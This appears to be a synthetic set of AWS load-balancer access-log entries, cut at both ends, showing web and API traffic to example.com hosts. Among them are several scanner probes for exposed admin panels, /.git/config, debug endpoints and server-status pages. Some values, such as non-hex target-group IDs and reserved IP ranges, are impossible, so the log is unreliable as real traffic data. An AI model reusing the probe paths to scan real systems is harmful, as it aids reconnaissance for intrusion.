24.23.234.61:19939 10.0.195.112:443 0.028340 0.017108 0.068349 200 200 261 13262 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c167-d8181f0abc93489797864190" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:59.339559Z "forward" "-" "-" "10.0.195.112:443" "200" "-" "-" +https 2024-11-01T00:42:01.296123Z prod-web-alb 193.27.228.75:45854 10.0.144.75:443 0.013726 0.437952 0.085331 301 301 6 10051 "POST /phpmyadmin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c169-dff823aaa5ec40168d48b86d" "-" "-" 7 2024-11-01T00:42:01.296123Z "forward" "-" "-" "10.0.144.75:443" "301" "-" "-" +https 2024-11-01T00:42:02.397184Z prod-web-alb 20.241.97.226:56300 10.0.114.100:443 0.035773 0.319006 0.017352 404 404 675 238 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c16a-34a9c670985b49e3846d775c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:42:02.397184Z "forward" "-" "-" "10.0.114.100:443" "404" "-" "-" +https 2024-11-01T00:42:03.180204Z prod-api-alb 140.123.209.90:34024 10.0.254.109:443 0.019253 0.091990 0.096834 200 200 732 3799 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c16b-6883fe863a3b44e28d82cfd7" "prod-api-alb.example.com" "-" 8 2024-11-01T00:42:03.180204Z "forward" "-" "-" "10.0.254.109:443" "200" "-" "-" +https 2024-11-01T00:42:04.543290Z staging-alb 31.212.27.255:56984 0.31.243.218:80 0.051323 0.018614 0.070633 200 200 632 12189 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c16c-33f6c2ef3f0a405a90b4eb00" "staging-alb.example.com" "-" 5 2024-11-01T00:42:04.543290Z "forward" "-" "-" "0.31.243.218:80" "200" "-" "-" +http 2024-11-01T00:42:05.876309Z staging-alb 32.253.73.200:34125 173.0.35.197:443 0.106249 0.295577 0.018339 200 200 449 5482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c16d-10890ceaa2e849a5b462c178" "staging-alb.example.com" "-" 8 2024-11-01T00:42:05.876309Z "forward" "-" "-" "173.0.35.197:443" "200" "-" "-" +https 2024-11-01T00:42:07.324383Z prod-api-alb 248.126.35.135:21076 10.0.25.142:443 0.023705 0.311851 0.059886 302 302 391 12745 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c16f-b894a1fa6706447aa27c1504" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:07.324383Z "forward" "-" "-" "10.0.25.142:443" "302" "-" "-" +https 2024-11-01T00:42:07.679894Z prod-web-alb 160.44.10.172:64396 10.0.93.127:443 0.056316 0.192071 0.003761 404 404 391 4052 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c16f-02485dc3039444088533fb08" "prod-web-alb.example.com" "-" 7 2024-11-01T00:42:07.679894Z "forward" "-" "-" "10.0.93.127:443" "404" "-" "-" +https 2024-11-01T00:42:08.191991Z prod-web-alb 75.229.204.116:27707 10.0.132.146:443 0.025834 0.040329 0.043974 404 404 710 9123 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c170-78ef6ed515974ea886418560" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:08.191991Z "forward" "-" "-" "10.0.132.146:443" "404" "-" "-" +https 2024-11-01T00:42:08.573521Z prod-web-alb 215.151.227.50:40550 10.0.151.248:443 0.017352 0.009604 0.067867 200 200 158 6800 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c170-612621380edc40d987dd1d96" "prod-web-alb.example.com" "-" 9 2024-11-01T00:42:08.573521Z "forward" "-" "-" "10.0.151.248:443" "200" "-" "-" +http 2024-11-01T00:42:09.028285Z staging-alb 133.219.225.48:50892 89.102.162.150:443 0.059786 0.534242 0.111337 302 302 232 14149 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c171-65038aa7d7294fbd873728a2" "staging-alb.example.com" "-" 0 2024-11-01T00:42:09.028285Z "forward" "-" "-" "89.102.162.150:443" "302" "-" "-" +http 2024-11-01T00:42:09.835743Z staging-alb 21.79.158.127:46860 14.101.213.126:8080 0.103492 0.097314 0.085021 200 200 950 4038 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c171-59e5f975316f472dbe11f32c" "staging-alb.example.com" "-" 1 2024-11-01T00:42:09.835743Z "forward" "-" "-" "14.101.213.126:8080" "200" "-" "-" +https 2024-11-01T00:42:11.673132Z prod-api-alb 104.245.182.178:29898 10.0.33.205:443 0.027074 0.373648 0.033826 302 302 106 10644 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c173-bebebc658d3f4e8c8407c310" "prod-api-alb.example.com" "-" 5 2024-11-01T00:42:11.673132Z "forward" "-" "-" "10.0.33.205:443" "302" "-" "-" +https 2024-11-01T00:42:12.844672Z prod-web-alb 128.249.108.152:59134 10.0.7.123:443 0.049980 0.037391 0.084600 200 200 726 11576 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c174-7068d27df2754a2db9f79056" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:12.844672Z "forward" "-" "-" "10.0.7.123:443" "200" "-" "-" +https 2024-11-01T00:42:13.089859Z prod-api-alb 182.149.160.63:39346 10.0.137.77:443 0.062971 0.352492 0.089396 200 200 813 6049 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c175-0ad656d11f4e43839c8fc90b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:42:13.089859Z "forward" "-" "-" "10.0.137.77:443" "200" "-" "-" +https 2024-11-01T00:42:13.352708Z prod-api-alb 117.201.235.24:41561 10.0.66.159:443 0.031711 0.418489 0.002233 404 404 539 11441 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c175-357adec867d442cc8c20e5c2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:42:13.352708Z "forward" "-" "-" "10.0.66.159:443" "404" "-" "-" +https 2024-11-01T00:42:14.153458Z prod-api-alb 62.172.9.165:51955 10.0.254.182:443 0.023011 0.485671 0.040050 200 200 312 9624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c176-ee549748e18d4b7191c91091" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:14.153458Z "forward" "-" "-" "10.0.254.182:443" "200" "-" "-" +https 2024-11-01T00:42:15.935813Z prod-web-alb 4.157.205.222:53364 10.0.130.238:443 0.035330 0.344298 0.057255 404 404 247 9380 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c177-e78795a395f0438d8b4822c7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:42:15.935813Z "forward" "-" "-" "10.0.130.238:443" "404" "-" "-" +https 2024-11-01T00:42:16.306579Z prod-api-alb 84.111.254.10:30130 10.0.196.60:443 0.026169 0.439992 0.042462 200 200 10 9758 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c178-0008c05148d944d2a7234b1c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:42:16.306579Z "forward" "-" "-" "10.0.196.60:443" "200" "-" "-" +https 2024-11-01T00:42:16.523679Z prod-web-alb 188.68.43.237:61044 10.0.54.115:443 0.050931 0.209318 0.039060 200 200 102 10147 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c178-a94a1a8ec665484da95deb8c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:42:16.523679Z "forward" "-" "-" "10.0.54.115:443" "200" "-" "-" +https 2024-11-01T00:42:18.401043Z staging-alb 108.249.142.252:34243 128.136.99.18:443 0.105196 0.615304 0.010465 200 200 654 2542 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17a-7c4e4246858943d4962a6b27" "staging-alb.example.com" "-" 10 2024-11-01T00:42:18.401043Z "forward" "-" "-" "128.136.99.18:443" "200" "-" "-" +https 2024-11-01T00:42:18.999900Z prod-web-alb 43.218.200.165:13854 10.0.38.77:443 0.020645 0.382216 0.078062 200 200 84 4604 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c17a-d804e0c0fe134a6e8cc0f9ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:18.999900Z "forward" "-" "-" "10.0.38.77:443" "200" "-" "-" +https 2024-11-01T00:42:19.273940Z prod-api-alb 211.230.57.21:44886 10.0.112.62:443 0.035445 0.142746 0.010269 404 404 709 3624 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c17b-092144732d5b4e10a66c99f3" "prod-api-alb.example.com" "-" 1 2024-11-01T00:42:19.273940Z "forward" "-" "-" "10.0.112.62:443" "404" "-" "-" +http 2024-11-01T00:42:20.905588Z staging-alb 189.245.195.17:41887 82.99.127.186:8080 0.086598 0.326467 0.101178 200 200 15 14866 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17c-101f59a7cd0b4420b1ad313e" "staging-alb.example.com" "-" 5 2024-11-01T00:42:20.905588Z "forward" "-" "-" "82.99.127.186:8080" "200" "-" "-" +https 2024-11-01T00:42:21.511821Z prod-web-alb 191.59.54.1:25222 10.0.228.186:443 0.029868 0.357238 0.033293 200 200 811 9904 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c17d-dc448338a30c416581842838" "prod-web-alb.example.com" "-" 6 2024-11-01T00:42:21.511821Z "forward" "-" "-" "10.0.228.186:443" "200" "-" "-" +http 2024-11-01T00:42:22.903799Z staging-alb 211.102.206.126:53260 119.11.245.66:80 0.004086 0.382345 0.104261 200 200 296 4554 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c17e-75539643b942459995c9067e" "staging-alb.example.com" "-" 10 2024-11-01T00:42:22.903799Z "forward" "-" "-" "119.11.245.66:80" "200" "-" "-" +https 2024-11-01T00:42:24.790881Z staging-alb 45.155.205.70:26622 175.202.216.27:80 0.140805 0.391399 0.094029 403 403 555 10645 "GET /.git/config HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c180-f2d61b8460b149848d862268" "-" "-" 2 2024-11-01T00:42:24.790881Z "forward" "-" "-" "175.202.216.27:80" "403" "-" "-" +https 2024-11-01T00:42:26.716401Z prod-web-alb 45.155.205.243:63888 10.0.23.205:443 0.050473 0.449516 0.001953 404 404 685 4924 "PUT /debug/pprof HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c182-f39fa989e2c048abb0bd6c36" "-" "-" 1 2024-11-01T00:42:26.716401Z "forward" "-" "-" "10.0.23.205:443" "404" "-" "-" +https 2024-11-01T00:42:28.554169Z prod-web-alb 185.181.25.65:42380 10.0.187.225:443 0.019347 0.246230 0.052617 403 403 169 12743 "GET /adminer.php HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c184-6ea6dd6021d74c02824d9a25" "-" "-" 8 2024-11-01T00:42:28.554169Z "forward" "-" "-" "10.0.187.225:443" "403" "-" "-" +https 2024-11-01T00:42:28.925490Z staging-alb 163.176.107.237:43573 204.179.253.150:80 0.110545 0.005018 0.048640 302 302 134 7798 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c184-6f7f76bb7d8941d487d036f2" "staging-alb.example.com" "-" 4 2024-11-01T00:42:28.925490Z "forward" "-" "-" "204.179.253.150:80" "302" "-" "-" +https 2024-11-01T00:42:29.582917Z prod-web-alb 194.225.200.91:21119 10.0.130.122:443 0.061520 0.155419 0.058499 301 301 633 12861 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c185-a10e5640afb243d3a8c6e48d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:42:29.582917Z "forward" "-" "-" "10.0.130.122:443" "301" "-" "-" +http 2024-11-01T00:42:30.388022Z staging-alb 179.63.204.5:46954 222.135.91.238:80 0.071682 0.354297 0.016970 404 404 260 5359 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c186-5e5e4842253140ff9d7f6a3e" "staging-alb.example.com" "-" 8 2024-11-01T00:42:30.388022Z "forward" "-" "-" "222.135.91.238:80" "404" "-" "-" +https 2024-11-01T00:42:31.509326Z prod-api-alb 5.108.95.100:44584 10.0.185.6:443 0.022773 0.214944 0.024284 200 200 661 342 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c187-0daff038e77e47f6ad86f3e6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:31.509326Z "forward" "-" "-" "10.0.185.6:443" "200" "-" "-" +https 2024-11-01T00:42:33.507920Z staging-alb 152.82.104.171:19345 9.190.105.246:443 0.141589 0.702111 0.044558 200 200 982 12466 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c189-4268ec7e342f42689ee661d8" "staging-alb.example.com" "-" 1 2024-11-01T00:42:33.507920Z "forward" "-" "-" "9.190.105.246:443" "200" "-" "-" +https 2024-11-01T00:42:33.806783Z prod-web-alb 174.163.219.57:42935 10.0.14.195:443 0.008223 0.289104 0.019150 302 302 702 11330 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c189-11a3d277fb3b4a3c86078951" "prod-web-alb.example.com" "-" 5 2024-11-01T00:42:33.806783Z "forward" "-" "-" "10.0.14.195:443" "302" "-" "-" +https 2024-11-01T00:42:33.920731Z prod-web-alb 121.38.149.149:55701 10.0.210.154:443 0.038123 0.444963 0.046884 302 302 533 5976 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c189-13fe2b0707534a1eb8b0f322" "prod-web-alb.example.com" "-" 2 2024-11-01T00:42:33.920731Z "forward" "-" "-" "10.0.210.154:443" "302" "-" "-" +https 2024-11-01T00:42:35.835360Z prod-api-alb 9.128.188.153:43895 10.0.186.4:443 0.046283 0.336529 0.073389 200 200 921 14766 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c18b-b80f8562c54846e2abe42914" "prod-api-alb.example.com" "-" 1 2024-11-01T00:42:35.835360Z "forward" "-" "-" "10.0.186.4:443" "200" "-" "-" +https 2024-11-01T00:42:36.576918Z prod-api-alb 76.63.251.243:14969 10.0.210.138:443 0.067676 0.352957 0.016054 404 404 854 14361 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c18c-121524fd9eb94c408cfebad1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:42:36.576918Z "forward" "-" "-" "10.0.210.138:443" "404" "-" "-" +http 2024-11-01T00:42:37.584466Z staging-alb 44.14.7.145:28984 74.214.19.64:80 0.070552 0.106586 0.106501 200 200 702 5214 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c18d-ba2c530baf344fcab0e5e534" "staging-alb.example.com" "-" 0 2024-11-01T00:42:37.584466Z "forward" "-" "-" "74.214.19.64:80" "200" "-" "-" +https 2024-11-01T00:42:39.545753Z prod-web-alb 183.183.158.239:35660 10.0.228.74:443 0.048727 0.145099 0.011104 302 302 579 3913 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c18f-4bfe47c9a65541f19a896755" "prod-web-alb.example.com" "-" 3 2024-11-01T00:42:39.545753Z "forward" "-" "-" "10.0.228.74:443" "302" "-" "-" +https 2024-11-01T00:42:40.533577Z prod-web-alb 45.155.205.243:26572 10.0.171.222:443 0.084350 0.286401 0.056479 404 404 521 9955 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c190-cd5554ed63bc40a394bda78d" "-" "-" 9 2024-11-01T00:42:40.533577Z "forward" "-" "-" "10.0.171.222:443" "404" "-" "-" +https 2024-11-01T00:42:42.138035Z prod-api-alb 82.19.55.2:24348 10.0.207.216:443 0.035674 0.315324 0.047372 200 200 586 11219 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c192-0eacbd52bc8d4a6db3a47737" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:42.138035Z "forward" "-" "-" "10.0.207.216:443" "200" "-" "-" +https 2024-11-01T00:42:43.716478Z prod-web-alb 231.184.232.19:27951 10.0.216.128:443 0.059432 0.363877 0.022229 200 200 682 13685 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c193-30d6dddc804040f5a57d221d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:42:43.716478Z "forward" "-" "-" "10.0.216.128:443" "200" "-" "-" +https 2024-11-01T00:42:44.896182Z staging-alb 127.144.3.171:38300 250.163.207.148:80 0.086269 0.503713 0.065842 200 200 895 7476 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c194-18df258394b94859bd9c4a1e" "staging-alb.example.com" "-" 0 2024-11-01T00:42:44.896182Z "forward" "-" "-" "250.163.207.148:80" "200" "-" "-" +https 2024-11-01T00:42:45.041379Z prod-api-alb 14.231.232.69:62567 10.0.136.89:443 0.032486 0.409905 0.035657 200 200 668 4527 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c195-db5762eac9a540d1ae62bccc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:45.041379Z "forward" "-" "-" "10.0.136.89:443" "200" "-" "-" +https 2024-11-01T00:42:46.336168Z prod-web-alb 241.173.88.166:33023 10.0.220.249:443 0.019541 0.428175 0.096022 200 200 902 5658 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c196-c24fa2edc0634610a81ed94b" "prod-web-alb.example.com" "-" 6 2024-11-01T00:42:46.336168Z "forward" "-" "-" "10.0.220.249:443" "200" "-" "-" +http 2024-11-01T00:42:47.156805Z staging-alb 247.227.217.45:13595 89.42.23.133:80 0.056068 0.206908 0.093325 200 200 488 12996 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c197-2753b27b20fd49388fb345f8" "staging-alb.example.com" "-" 7 2024-11-01T00:42:47.156805Z "forward" "-" "-" "89.42.23.133:80" "200" "-" "-" +https 2024-11-01T00:42:47.723796Z prod-api-alb 159.160.10.218:37673 10.0.181.251:443 0.040413 0.306051 0.011455 301 301 968 9941 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 